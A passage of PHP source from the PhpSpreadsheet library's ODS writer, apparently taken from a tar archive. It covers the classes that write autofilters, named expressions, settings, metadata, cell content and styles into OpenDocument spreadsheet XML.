PhpOffice\PhpSpreadsheet\Shared\XMLWriter; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Worksheet\AutoFilter; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; class AutoFilters { private XMLWriter $objWriter; private Spreadsheet $spreadsheet; public function __construct(XMLWriter $objWriter, Spreadsheet $spreadsheet) { $this->objWriter = $objWriter; $this->spreadsheet = $spreadsheet; } public function write(): void { $wrapperWritten = false; $sheetCount = $this->spreadsheet->getSheetCount(); for ($i = 0; $i < $sheetCount; ++$i) { $worksheet = $this->spreadsheet->getSheet($i); $autofilter = $worksheet->getAutoFilter(); if ($autofilter !== null && !empty($autofilter->getRange())) { if ($wrapperWritten === false) { $this->objWriter->startElement('table:database-ranges'); $wrapperWritten = true; } $this->objWriter->startElement('table:database-range'); $this->objWriter->writeAttribute('table:orientation', 'column'); $this->objWriter->writeAttribute('table:display-filter-buttons', 'true'); $this->objWriter->writeAttribute( 'table:target-range-address', $this->formatRange($worksheet, $autofilter) ); $this->objWriter->endElement(); } } if ($wrapperWritten === true) { $this->objWriter->endElement(); } } protected function formatRange(Worksheet $worksheet, AutoFilter $autofilter): string { $title = $worksheet->getTitle(); $range = $autofilter->getRange(); return "'{$title}'.{$range}"; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Ods/NamedExpressions.php000064400000011043151676714400023247 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer\Ods; use PhpOffice\PhpSpreadsheet\Calculation\Calculation; use PhpOffice\PhpSpreadsheet\DefinedName; use PhpOffice\PhpSpreadsheet\Shared\XMLWriter; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; class NamedExpressions { private XMLWriter $objWriter; private Spreadsheet $spreadsheet; private Formula $formulaConvertor; public function __construct(XMLWriter $objWriter, Spreadsheet $spreadsheet, Formula $formulaConvertor) { $this->objWriter = $objWriter; $this->spreadsheet = $spreadsheet; $this->formulaConvertor = $formulaConvertor; } public function write(): string { $this->objWriter->startElement('table:named-expressions'); $this->writeExpressions(); $this->objWriter->endElement(); return ''; } private function writeExpressions(): void { $definedNames = $this->spreadsheet->getDefinedNames(); foreach ($definedNames as $definedName) { if ($definedName->isFormula()) { $this->objWriter->startElement('table:named-expression'); $this->writeNamedFormula($definedName, $this->spreadsheet->getActiveSheet()); } else { $this->objWriter->startElement('table:named-range'); $this->writeNamedRange($definedName); } $this->objWriter->endElement(); } } private function writeNamedFormula(DefinedName $definedName, Worksheet $defaultWorksheet): void { $title = ($definedName->getWorksheet() !== null) ? $definedName->getWorksheet()->getTitle() : $defaultWorksheet->getTitle(); $this->objWriter->writeAttribute('table:name', $definedName->getName()); $this->objWriter->writeAttribute( 'table:expression', $this->formulaConvertor->convertFormula($definedName->getValue(), $title) ); $this->objWriter->writeAttribute('table:base-cell-address', $this->convertAddress( $definedName, "'" . $title . "'!\$A\$1" )); } private function writeNamedRange(DefinedName $definedName): void { $baseCell = '$A$1'; $ws = $definedName->getWorksheet(); if ($ws !== null) { $baseCell = "'" . $ws->getTitle() . "'!$baseCell"; } $this->objWriter->writeAttribute('table:name', $definedName->getName()); $this->objWriter->writeAttribute('table:base-cell-address', $this->convertAddress( $definedName, $baseCell )); $this->objWriter->writeAttribute('table:cell-range-address', $this->convertAddress($definedName, $definedName->getValue())); } private function convertAddress(DefinedName $definedName, string $address): string { $splitCount = preg_match_all( '/' . Calculation::CALCULATION_REGEXP_CELLREF_RELATIVE . '/mui', $address, $splitRanges, PREG_OFFSET_CAPTURE ); $lengths = array_map('strlen', array_column($splitRanges[0], 0)); $offsets = array_column($splitRanges[0], 1); $worksheets = $splitRanges[2]; $columns = $splitRanges[6]; $rows = $splitRanges[7]; while ($splitCount > 0) { --$splitCount; $length = $lengths[$splitCount]; $offset = $offsets[$splitCount]; $worksheet = $worksheets[$splitCount][0]; $column = $columns[$splitCount][0]; $row = $rows[$splitCount][0]; $newRange = ''; if (empty($worksheet)) { if (($offset === 0) || ($address[$offset - 1] !== ':')) { // We need a worksheet $ws = $definedName->getWorksheet(); if ($ws !== null) { $worksheet = $ws->getTitle(); } } } else { $worksheet = str_replace("''", "'", trim($worksheet, "'")); } if (!empty($worksheet)) { $newRange = "'" . str_replace("'", "''", $worksheet) . "'."; } if (!empty($column)) { $newRange .= $column; } if (!empty($row)) { $newRange .= $row; } $address = substr($address, 0, $offset) . $newRange . substr($address, $offset + $length); } if (str_starts_with($address, '=')) { $address = substr($address, 1); } return $address; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Ods/Settings.php000064400000015002151676714400021557 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer\Ods; use PhpOffice\PhpSpreadsheet\Cell\CellAddress; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Shared\XMLWriter; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; class Settings extends WriterPart { /** * Write settings.xml to XML format. * * @return string XML Output */ public function write(): string { if ($this->getParentWriter()->getUseDiskCaching()) { $objWriter = new XMLWriter(XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory()); } else { $objWriter = new XMLWriter(XMLWriter::STORAGE_MEMORY); } // XML header $objWriter->startDocument('1.0', 'UTF-8'); // Settings $objWriter->startElement('office:document-settings'); $objWriter->writeAttribute('xmlns:office', 'urn:oasis:names:tc:opendocument:xmlns:office:1.0'); $objWriter->writeAttribute('xmlns:xlink', 'http://www.w3.org/1999/xlink'); $objWriter->writeAttribute('xmlns:config', 'urn:oasis:names:tc:opendocument:xmlns:config:1.0'); $objWriter->writeAttribute('xmlns:ooo', 'http://openoffice.org/2004/office'); $objWriter->writeAttribute('office:version', '1.2'); $objWriter->startElement('office:settings'); $objWriter->startElement('config:config-item-set'); $objWriter->writeAttribute('config:name', 'ooo:view-settings'); $objWriter->startElement('config:config-item-map-indexed'); $objWriter->writeAttribute('config:name', 'Views'); $objWriter->startElement('config:config-item-map-entry'); $spreadsheet = $this->getParentWriter()->getSpreadsheet(); $objWriter->startElement('config:config-item'); $objWriter->writeAttribute('config:name', 'ViewId'); $objWriter->writeAttribute('config:type', 'string'); $objWriter->text('view1'); $objWriter->endElement(); // ViewId $objWriter->startElement('config:config-item-map-named'); $this->writeAllWorksheetSettings($objWriter, $spreadsheet); $wstitle = $spreadsheet->getActiveSheet()->getTitle(); $objWriter->startElement('config:config-item'); $objWriter->writeAttribute('config:name', 'ActiveTable'); $objWriter->writeAttribute('config:type', 'string'); $objWriter->text($wstitle); $objWriter->endElement(); // config:config-item ActiveTable $objWriter->endElement(); // config:config-item-map-entry $objWriter->endElement(); // config:config-item-map-indexed Views $objWriter->endElement(); // config:config-item-set ooo:view-settings $objWriter->startElement('config:config-item-set'); $objWriter->writeAttribute('config:name', 'ooo:configuration-settings'); $objWriter->endElement(); // config:config-item-set ooo:configuration-settings $objWriter->endElement(); // office:settings $objWriter->endElement(); // office:document-settings return $objWriter->getData(); } private function writeAllWorksheetSettings(XMLWriter $objWriter, Spreadsheet $spreadsheet): void { $objWriter->writeAttribute('config:name', 'Tables'); foreach ($spreadsheet->getWorksheetIterator() as $worksheet) { $this->writeWorksheetSettings($objWriter, $worksheet); } $objWriter->endElement(); // config:config-item-map-entry Tables } private function writeWorksheetSettings(XMLWriter $objWriter, Worksheet $worksheet): void { $objWriter->startElement('config:config-item-map-entry'); $objWriter->writeAttribute('config:name', $worksheet->getTitle()); $this->writeSelectedCells($objWriter, $worksheet); if ($worksheet->getFreezePane() !== null) { $this->writeFreezePane($objWriter, $worksheet); } $objWriter->endElement(); // config:config-item-map-entry Worksheet } private function writeSelectedCells(XMLWriter $objWriter, Worksheet $worksheet): void { $selected = $worksheet->getSelectedCells(); if (preg_match('/^([a-z]+)([0-9]+)/i', $selected, $matches) === 1) { $colSel = Coordinate::columnIndexFromString($matches[1]) - 1; $rowSel = (int) $matches[2] - 1; $objWriter->startElement('config:config-item'); $objWriter->writeAttribute('config:name', 'CursorPositionX'); $objWriter->writeAttribute('config:type', 'int'); $objWriter->text((string) $colSel); $objWriter->endElement(); $objWriter->startElement('config:config-item'); $objWriter->writeAttribute('config:name', 'CursorPositionY'); $objWriter->writeAttribute('config:type', 'int'); $objWriter->text((string) $rowSel); $objWriter->endElement(); } } private function writeSplitValue(XMLWriter $objWriter, string $splitMode, string $type, string $value): void { $objWriter->startElement('config:config-item'); $objWriter->writeAttribute('config:name', $splitMode); $objWriter->writeAttribute('config:type', $type); $objWriter->text($value); $objWriter->endElement(); } private function writeFreezePane(XMLWriter $objWriter, Worksheet $worksheet): void { $freezePane = CellAddress::fromCellAddress($worksheet->getFreezePane() ?? ''); if ($freezePane->cellAddress() === 'A1') { return; } $columnId = $freezePane->columnId(); $columnName = $freezePane->columnName(); $row = $freezePane->rowId(); $this->writeSplitValue($objWriter, 'HorizontalSplitMode', 'short', '2'); $this->writeSplitValue($objWriter, 'HorizontalSplitPosition', 'int', (string) ($columnId - 1)); $this->writeSplitValue($objWriter, 'PositionLeft', 'short', '0'); $this->writeSplitValue($objWriter, 'PositionRight', 'short', (string) ($columnId - 1)); for ($column = 'A'; $column !== $columnName; ++$column) { $worksheet->getColumnDimension($column)->setAutoSize(true); } $this->writeSplitValue($objWriter, 'VerticalSplitMode', 'short', '2'); $this->writeSplitValue($objWriter, 'VerticalSplitPosition', 'int', (string) ($row - 1)); $this->writeSplitValue($objWriter, 'PositionTop', 'short', '0'); $this->writeSplitValue($objWriter, 'PositionBottom', 'short', (string) ($row - 1)); $this->writeSplitValue($objWriter, 'ActiveSplitRange', 'short', '3'); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Ods/Meta.php000064400000012427151676714400020655 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer\Ods; use PhpOffice\PhpSpreadsheet\Document\Properties; use PhpOffice\PhpSpreadsheet\Shared\Date; use PhpOffice\PhpSpreadsheet\Shared\XMLWriter; use PhpOffice\PhpSpreadsheet\Spreadsheet; class Meta extends WriterPart { /** * Write meta.xml to XML format. * * @return string XML Output */ public function write(): string { $spreadsheet = $this->getParentWriter()->getSpreadsheet(); $objWriter = null; if ($this->getParentWriter()->getUseDiskCaching()) { $objWriter = new XMLWriter(XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory()); } else { $objWriter = new XMLWriter(XMLWriter::STORAGE_MEMORY); } // XML header $objWriter->startDocument('1.0', 'UTF-8'); // Meta $objWriter->startElement('office:document-meta'); $objWriter->writeAttribute('xmlns:office', 'urn:oasis:names:tc:opendocument:xmlns:office:1.0'); $objWriter->writeAttribute('xmlns:xlink', 'http://www.w3.org/1999/xlink'); $objWriter->writeAttribute('xmlns:dc', 'http://purl.org/dc/elements/1.1/'); $objWriter->writeAttribute('xmlns:meta', 'urn:oasis:names:tc:opendocument:xmlns:meta:1.0'); $objWriter->writeAttribute('xmlns:ooo', 'http://openoffice.org/2004/office'); $objWriter->writeAttribute('xmlns:grddl', 'http://www.w3.org/2003/g/data-view#'); $objWriter->writeAttribute('office:version', '1.2'); $objWriter->startElement('office:meta'); $objWriter->writeElement('meta:initial-creator', $spreadsheet->getProperties()->getCreator()); $objWriter->writeElement('dc:creator', $spreadsheet->getProperties()->getCreator()); $created = $spreadsheet->getProperties()->getCreated(); $date = Date::dateTimeFromTimestamp("$created"); $date->setTimeZone(Date::getDefaultOrLocalTimeZone()); $objWriter->writeElement('meta:creation-date', $date->format(DATE_W3C)); $created = $spreadsheet->getProperties()->getModified(); $date = Date::dateTimeFromTimestamp("$created"); $date->setTimeZone(Date::getDefaultOrLocalTimeZone()); $objWriter->writeElement('dc:date', $date->format(DATE_W3C)); $objWriter->writeElement('dc:title', $spreadsheet->getProperties()->getTitle()); $objWriter->writeElement('dc:description', $spreadsheet->getProperties()->getDescription()); $objWriter->writeElement('dc:subject', $spreadsheet->getProperties()->getSubject()); $objWriter->writeElement('meta:keyword', $spreadsheet->getProperties()->getKeywords()); // Don't know if this changed over time, but the keywords are all // in a single declaration now. //$keywords = explode(' ', $spreadsheet->getProperties()->getKeywords()); //foreach ($keywords as $keyword) { // $objWriter->writeElement('meta:keyword', $keyword); //} //<meta:document-statistic meta:table-count="XXX" meta:cell-count="XXX" meta:object-count="XXX"/> $objWriter->startElement('meta:user-defined'); $objWriter->writeAttribute('meta:name', 'Company'); $objWriter->writeRawData($spreadsheet->getProperties()->getCompany()); $objWriter->endElement(); $objWriter->startElement('meta:user-defined'); $objWriter->writeAttribute('meta:name', 'category'); $objWriter->writeRawData($spreadsheet->getProperties()->getCategory()); $objWriter->endElement(); self::writeDocPropsCustom($objWriter, $spreadsheet); $objWriter->endElement(); $objWriter->endElement(); return $objWriter->getData(); } private static function writeDocPropsCustom(XMLWriter $objWriter, Spreadsheet $spreadsheet): void { $customPropertyList = $spreadsheet->getProperties()->getCustomProperties(); foreach ($customPropertyList as $customProperty) { $propertyValue = $spreadsheet->getProperties()->getCustomPropertyValue($customProperty); $propertyType = $spreadsheet->getProperties()->getCustomPropertyType($customProperty); $objWriter->startElement('meta:user-defined'); $objWriter->writeAttribute('meta:name', $customProperty); switch ($propertyType) { case Properties::PROPERTY_TYPE_INTEGER: case Properties::PROPERTY_TYPE_FLOAT: $objWriter->writeAttribute('meta:value-type', 'float'); $objWriter->writeRawData((string) $propertyValue); break; case Properties::PROPERTY_TYPE_BOOLEAN: $objWriter->writeAttribute('meta:value-type', 'boolean'); $objWriter->writeRawData($propertyValue ? 'true' : 'false'); break; case Properties::PROPERTY_TYPE_DATE: $objWriter->writeAttribute('meta:value-type', 'date'); $dtobj = Date::dateTimeFromTimestamp((string) ($propertyValue ?? 0)); $objWriter->writeRawData($dtobj->format(DATE_W3C)); break; default: $objWriter->writeRawData((string) $propertyValue); break; } $objWriter->endElement(); } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Ods/Content.php000064400000040117151676714400021376 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer\Ods; use PhpOffice\PhpSpreadsheet\Calculation\Exception as CalculationException; use PhpOffice\PhpSpreadsheet\Cell\Cell; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Cell\DataType; use PhpOffice\PhpSpreadsheet\Shared\XMLWriter; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Worksheet\RowCellIterator; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; use PhpOffice\PhpSpreadsheet\Writer\Ods; use PhpOffice\PhpSpreadsheet\Writer\Ods\Cell\Comment; use PhpOffice\PhpSpreadsheet\Writer\Ods\Cell\Style; /** * @author Alexander Pervakov <frost-nzcr4@jagmort.com> */ class Content extends WriterPart { const NUMBER_COLS_REPEATED_MAX = 1024; const NUMBER_ROWS_REPEATED_MAX = 1048576; private Formula $formulaConvertor; /** * Set parent Ods writer. */ public function __construct(Ods $writer) { parent::__construct($writer); $this->formulaConvertor = new Formula($this->getParentWriter()->getSpreadsheet()->getDefinedNames()); } /** * Write content.xml to XML format. * * @return string XML Output */ public function write(): string { $objWriter = null; if ($this->getParentWriter()->getUseDiskCaching()) { $objWriter = new XMLWriter(XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory()); } else { $objWriter = new XMLWriter(XMLWriter::STORAGE_MEMORY); } // XML header $objWriter->startDocument('1.0', 'UTF-8'); // Content $objWriter->startElement('office:document-content'); $objWriter->writeAttribute('xmlns:office', 'urn:oasis:names:tc:opendocument:xmlns:office:1.0'); $objWriter->writeAttribute('xmlns:style', 'urn:oasis:names:tc:opendocument:xmlns:style:1.0'); $objWriter->writeAttribute('xmlns:text', 'urn:oasis:names:tc:opendocument:xmlns:text:1.0'); $objWriter->writeAttribute('xmlns:table', 'urn:oasis:names:tc:opendocument:xmlns:table:1.0'); $objWriter->writeAttribute('xmlns:draw', 'urn:oasis:names:tc:opendocument:xmlns:drawing:1.0'); $objWriter->writeAttribute('xmlns:fo', 'urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0'); $objWriter->writeAttribute('xmlns:xlink', 'http://www.w3.org/1999/xlink'); $objWriter->writeAttribute('xmlns:dc', 'http://purl.org/dc/elements/1.1/'); $objWriter->writeAttribute('xmlns:meta', 'urn:oasis:names:tc:opendocument:xmlns:meta:1.0'); $objWriter->writeAttribute('xmlns:number', 'urn:oasis:names:tc:opendocument:xmlns:datastyle:1.0'); $objWriter->writeAttribute('xmlns:presentation', 'urn:oasis:names:tc:opendocument:xmlns:presentation:1.0'); $objWriter->writeAttribute('xmlns:svg', 'urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0'); $objWriter->writeAttribute('xmlns:chart', 'urn:oasis:names:tc:opendocument:xmlns:chart:1.0'); $objWriter->writeAttribute('xmlns:dr3d', 'urn:oasis:names:tc:opendocument:xmlns:dr3d:1.0'); $objWriter->writeAttribute('xmlns:math', 'http://www.w3.org/1998/Math/MathML'); $objWriter->writeAttribute('xmlns:form', 'urn:oasis:names:tc:opendocument:xmlns:form:1.0'); $objWriter->writeAttribute('xmlns:script', 'urn:oasis:names:tc:opendocument:xmlns:script:1.0'); $objWriter->writeAttribute('xmlns:ooo', 'http://openoffice.org/2004/office'); $objWriter->writeAttribute('xmlns:ooow', 'http://openoffice.org/2004/writer'); $objWriter->writeAttribute('xmlns:oooc', 'http://openoffice.org/2004/calc'); $objWriter->writeAttribute('xmlns:dom', 'http://www.w3.org/2001/xml-events'); $objWriter->writeAttribute('xmlns:xforms', 'http://www.w3.org/2002/xforms'); $objWriter->writeAttribute('xmlns:xsd', 'http://www.w3.org/2001/XMLSchema'); $objWriter->writeAttribute('xmlns:xsi', 'http://www.w3.org/2001/XMLSchema-instance'); $objWriter->writeAttribute('xmlns:rpt', 'http://openoffice.org/2005/report'); $objWriter->writeAttribute('xmlns:of', 'urn:oasis:names:tc:opendocument:xmlns:of:1.2'); $objWriter->writeAttribute('xmlns:xhtml', 'http://www.w3.org/1999/xhtml'); $objWriter->writeAttribute('xmlns:grddl', 'http://www.w3.org/2003/g/data-view#'); $objWriter->writeAttribute('xmlns:tableooo', 'http://openoffice.org/2009/table'); $objWriter->writeAttribute('xmlns:field', 'urn:openoffice:names:experimental:ooo-ms-interop:xmlns:field:1.0'); $objWriter->writeAttribute('xmlns:formx', 'urn:openoffice:names:experimental:ooxml-odf-interop:xmlns:form:1.0'); $objWriter->writeAttribute('xmlns:css3t', 'http://www.w3.org/TR/css3-text/'); $objWriter->writeAttribute('office:version', '1.2'); $objWriter->writeElement('office:scripts'); $objWriter->writeElement('office:font-face-decls'); // Styles XF $objWriter->startElement('office:automatic-styles'); $this->writeXfStyles($objWriter, $this->getParentWriter()->getSpreadsheet()); $objWriter->endElement(); $objWriter->startElement('office:body'); $objWriter->startElement('office:spreadsheet'); $objWriter->writeElement('table:calculation-settings'); $this->writeSheets($objWriter); (new AutoFilters($objWriter, $this->getParentWriter()->getSpreadsheet()))->write(); // Defined names (ranges and formulae) (new NamedExpressions($objWriter, $this->getParentWriter()->getSpreadsheet(), $this->formulaConvertor))->write(); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); return $objWriter->getData(); } /** * Write sheets. */ private function writeSheets(XMLWriter $objWriter): void { $spreadsheet = $this->getParentWriter()->getSpreadsheet(); $sheetCount = $spreadsheet->getSheetCount(); for ($sheetIndex = 0; $sheetIndex < $sheetCount; ++$sheetIndex) { $objWriter->startElement('table:table'); $objWriter->writeAttribute('table:name', $spreadsheet->getSheet($sheetIndex)->getTitle()); $objWriter->writeAttribute('table:style-name', Style::TABLE_STYLE_PREFIX . (string) ($sheetIndex + 1)); $objWriter->writeElement('office:forms'); $lastColumn = 0; foreach ($spreadsheet->getSheet($sheetIndex)->getColumnDimensions() as $columnDimension) { $thisColumn = $columnDimension->getColumnNumeric(); $emptyColumns = $thisColumn - $lastColumn - 1; if ($emptyColumns > 0) { $objWriter->startElement('table:table-column'); $objWriter->writeAttribute('table:number-columns-repeated', (string) $emptyColumns); $objWriter->endElement(); } $lastColumn = $thisColumn; $objWriter->startElement('table:table-column'); $objWriter->writeAttribute( 'table:style-name', sprintf('%s_%d_%d', Style::COLUMN_STYLE_PREFIX, $sheetIndex, $columnDimension->getColumnNumeric()) ); $objWriter->writeAttribute('table:default-cell-style-name', 'ce0'); // $objWriter->writeAttribute('table:number-columns-repeated', self::NUMBER_COLS_REPEATED_MAX); $objWriter->endElement(); } $this->writeRows($objWriter, $spreadsheet->getSheet($sheetIndex), $sheetIndex); $objWriter->endElement(); } } /** * Write rows of the specified sheet. */ private function writeRows(XMLWriter $objWriter, Worksheet $sheet, int $sheetIndex): void { $numberRowsRepeated = self::NUMBER_ROWS_REPEATED_MAX; $span_row = 0; $rows = $sheet->getRowIterator(); foreach ($rows as $row) { $cellIterator = $row->getCellIterator(); --$numberRowsRepeated; if ($cellIterator->valid()) { $objWriter->startElement('table:table-row'); if ($span_row) { if ($span_row > 1) { $objWriter->writeAttribute('table:number-rows-repeated', (string) $span_row); } $objWriter->startElement('table:table-cell'); $objWriter->writeAttribute('table:number-columns-repeated', (string) self::NUMBER_COLS_REPEATED_MAX); $objWriter->endElement(); $span_row = 0; } else { if ($sheet->rowDimensionExists($row->getRowIndex()) && $sheet->getRowDimension($row->getRowIndex())->getRowHeight() > 0) { $objWriter->writeAttribute( 'table:style-name', sprintf('%s_%d_%d', Style::ROW_STYLE_PREFIX, $sheetIndex, $row->getRowIndex()) ); } $this->writeCells($objWriter, $cellIterator); } $objWriter->endElement(); } else { ++$span_row; } } } /** * Write cells of the specified row. */ private function writeCells(XMLWriter $objWriter, RowCellIterator $cells): void { $numberColsRepeated = self::NUMBER_COLS_REPEATED_MAX; $prevColumn = -1; foreach ($cells as $cell) { /** @var Cell $cell */ $column = Coordinate::columnIndexFromString($cell->getColumn()) - 1; $this->writeCellSpan($objWriter, $column, $prevColumn); $objWriter->startElement('table:table-cell'); $this->writeCellMerge($objWriter, $cell); // Style XF $style = $cell->getXfIndex(); if ($style !== null) { $objWriter->writeAttribute('table:style-name', Style::CELL_STYLE_PREFIX . $style); } switch ($cell->getDataType()) { case DataType::TYPE_BOOL: $objWriter->writeAttribute('office:value-type', 'boolean'); $objWriter->writeAttribute('office:value', $cell->getValueString()); $objWriter->writeElement('text:p', $cell->getValueString()); break; case DataType::TYPE_ERROR: $objWriter->writeAttribute('table:formula', 'of:=#NULL!'); $objWriter->writeAttribute('office:value-type', 'string'); $objWriter->writeAttribute('office:string-value', ''); $objWriter->writeElement('text:p', '#NULL!'); break; case DataType::TYPE_FORMULA: $formulaValue = $cell->getValueString(); if ($this->getParentWriter()->getPreCalculateFormulas()) { try { $formulaValue = $cell->getCalculatedValueString(); } catch (CalculationException $e) { // don't do anything } } $objWriter->writeAttribute('table:formula', $this->formulaConvertor->convertFormula($cell->getValueString())); if (is_numeric($formulaValue)) { $objWriter->writeAttribute('office:value-type', 'float'); } else { $objWriter->writeAttribute('office:value-type', 'string'); } $objWriter->writeAttribute('office:value', $formulaValue); $objWriter->writeElement('text:p', $formulaValue); break; case DataType::TYPE_NUMERIC: $objWriter->writeAttribute('office:value-type', 'float'); $objWriter->writeAttribute('office:value', $cell->getValueString()); $objWriter->writeElement('text:p', $cell->getValueString()); break; case DataType::TYPE_INLINE: // break intentionally omitted case DataType::TYPE_STRING: $objWriter->writeAttribute('office:value-type', 'string'); $url = $cell->getHyperlink()->getUrl(); if (empty($url)) { $objWriter->writeElement('text:p', $cell->getValueString()); } else { $objWriter->startElement('text:p'); $objWriter->startElement('text:a'); $sheets = 'sheet://'; $lensheets = strlen($sheets); if (substr($url, 0, $lensheets) === $sheets) { $url = '#' . substr($url, $lensheets); } $objWriter->writeAttribute('xlink:href', $url); $objWriter->writeAttribute('xlink:type', 'simple'); $objWriter->text($cell->getValueString()); $objWriter->endElement(); // text:a $objWriter->endElement(); // text:p } break; } Comment::write($objWriter, $cell); $objWriter->endElement(); $prevColumn = $column; } $numberColsRepeated = $numberColsRepeated - $prevColumn - 1; if ($numberColsRepeated > 0) { if ($numberColsRepeated > 1) { $objWriter->startElement('table:table-cell'); $objWriter->writeAttribute('table:number-columns-repeated', (string) $numberColsRepeated); $objWriter->endElement(); } else { $objWriter->writeElement('table:table-cell'); } } } /** * Write span. */ private function writeCellSpan(XMLWriter $objWriter, int $curColumn, int $prevColumn): void { $diff = $curColumn - $prevColumn - 1; if (1 === $diff) { $objWriter->writeElement('table:table-cell'); } elseif ($diff > 1) { $objWriter->startElement('table:table-cell'); $objWriter->writeAttribute('table:number-columns-repeated', (string) $diff); $objWriter->endElement(); } } /** * Write XF cell styles. */ private function writeXfStyles(XMLWriter $writer, Spreadsheet $spreadsheet): void { $styleWriter = new Style($writer); $sheetCount = $spreadsheet->getSheetCount(); for ($i = 0; $i < $sheetCount; ++$i) { $worksheet = $spreadsheet->getSheet($i); $styleWriter->writeTableStyle($worksheet, $i + 1); $worksheet->calculateColumnWidths(); foreach ($worksheet->getColumnDimensions() as $columnDimension) { if ($columnDimension->getWidth() !== -1.0) { $styleWriter->writeColumnStyles($columnDimension, $i); } } } for ($i = 0; $i < $sheetCount; ++$i) { $worksheet = $spreadsheet->getSheet($i); foreach ($worksheet->getRowDimensions() as $rowDimension) { if ($rowDimension->getRowHeight() > 0.0) { $styleWriter->writeRowStyles($rowDimension, $i); } } } foreach ($spreadsheet->getCellXfCollection() as $style) { $styleWriter->write($style); } } /** * Write attributes for merged cell. */ private function writeCellMerge(XMLWriter $objWriter, Cell $cell): void { if (!$cell->isMergeRangeValueCell()) { return; } $mergeRange = Coordinate::splitRange((string) $cell->getMergeRange()); [$startCell, $endCell] = $mergeRange[0]; $start = Coordinate::coordinateFromString($startCell); $end = Coordinate::coordinateFromString($endCell); $columnSpan = Coordinate::columnIndexFromString($end[0]) - Coordinate::columnIndexFromString($start[0]) + 1; $rowSpan = ((int) $end[1]) - ((int) $start[1]) + 1; $objWriter->writeAttribute('table:number-columns-spanned', (string) $columnSpan); $objWriter->writeAttribute('table:number-rows-spanned', (string) $rowSpan); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Ods/Thumbnails.php000064400000000417151676714400022071 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer\Ods; class Thumbnails extends WriterPart { /** * Write Thumbnails/thumbnail.png to PNG format. * * @return string XML Output */ public function write(): string { return ''; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Ods/Cell/Style.php000064400000025663151676714400021754 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer\Ods\Cell; use PhpOffice\PhpSpreadsheet\Helper\Dimension; use PhpOffice\PhpSpreadsheet\Shared\XMLWriter; use PhpOffice\PhpSpreadsheet\Style\Alignment; use PhpOffice\PhpSpreadsheet\Style\Border; use PhpOffice\PhpSpreadsheet\Style\Borders; use PhpOffice\PhpSpreadsheet\Style\Fill; use PhpOffice\PhpSpreadsheet\Style\Font; use PhpOffice\PhpSpreadsheet\Style\Style as CellStyle; use PhpOffice\PhpSpreadsheet\Worksheet\ColumnDimension; use PhpOffice\PhpSpreadsheet\Worksheet\RowDimension; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; class Style { public const CELL_STYLE_PREFIX = 'ce'; public const COLUMN_STYLE_PREFIX = 'co'; public const ROW_STYLE_PREFIX = 'ro'; public const TABLE_STYLE_PREFIX = 'ta'; private XMLWriter $writer; public function __construct(XMLWriter $writer) { $this->writer = $writer; } private function mapHorizontalAlignment(string $horizontalAlignment): string { return match ($horizontalAlignment) { Alignment::HORIZONTAL_CENTER, Alignment::HORIZONTAL_CENTER_CONTINUOUS, Alignment::HORIZONTAL_DISTRIBUTED => 'center', Alignment::HORIZONTAL_RIGHT => 'end', Alignment::HORIZONTAL_FILL, Alignment::HORIZONTAL_JUSTIFY => 'justify', default => 'start', }; } private function mapVerticalAlignment(string $verticalAlignment): string { return match ($verticalAlignment) { Alignment::VERTICAL_TOP => 'top', Alignment::VERTICAL_CENTER => 'middle', Alignment::VERTICAL_DISTRIBUTED, Alignment::VERTICAL_JUSTIFY => 'automatic', default => 'bottom', }; } private function writeFillStyle(Fill $fill): void { switch ($fill->getFillType()) { case Fill::FILL_SOLID: $this->writer->writeAttribute('fo:background-color', sprintf( '#%s', strtolower($fill->getStartColor()->getRGB()) )); break; case Fill::FILL_GRADIENT_LINEAR: case Fill::FILL_GRADIENT_PATH: /// TODO :: To be implemented break; case Fill::FILL_NONE: default: } } private function writeBordersStyle(Borders $borders): void { $this->writeBorderStyle('bottom', $borders->getBottom()); $this->writeBorderStyle('left', $borders->getLeft()); $this->writeBorderStyle('right', $borders->getRight()); $this->writeBorderStyle('top', $borders->getTop()); } private function writeBorderStyle(string $direction, Border $border): void { if ($border->getBorderStyle() === Border::BORDER_NONE) { return; } $this->writer->writeAttribute('fo:border-' . $direction, sprintf( '%s %s #%s', $this->mapBorderWidth($border), $this->mapBorderStyle($border), $border->getColor()->getRGB(), )); } private function mapBorderWidth(Border $border): string { switch ($border->getBorderStyle()) { case Border::BORDER_THIN: case Border::BORDER_DASHED: case Border::BORDER_DASHDOT: case Border::BORDER_DASHDOTDOT: case Border::BORDER_DOTTED: case Border::BORDER_HAIR: return '0.75pt'; case Border::BORDER_MEDIUM: case Border::BORDER_MEDIUMDASHED: case Border::BORDER_MEDIUMDASHDOT: case Border::BORDER_MEDIUMDASHDOTDOT: case Border::BORDER_SLANTDASHDOT: return '1.75pt'; case Border::BORDER_DOUBLE: case Border::BORDER_THICK: return 